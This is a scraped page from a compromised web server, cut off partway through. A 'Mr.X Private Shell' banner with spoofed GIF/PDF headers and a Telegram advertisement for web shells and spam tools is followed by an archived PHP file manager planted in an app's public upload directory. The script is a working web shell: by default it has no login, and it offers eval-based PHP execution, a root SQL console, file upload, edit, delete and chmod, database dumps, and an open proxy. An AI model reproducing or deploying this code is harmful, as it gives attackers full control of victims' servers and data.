GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
4odfzq/4odfzq.zip000064400000552533000000000000007664 0ustar00PK!�r�
<<
ysk2v.php.tarnu�[���var/www/html/back/storage/app/public/87/4odfzq/ysk2v.php000064400000232754000000000000016740 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
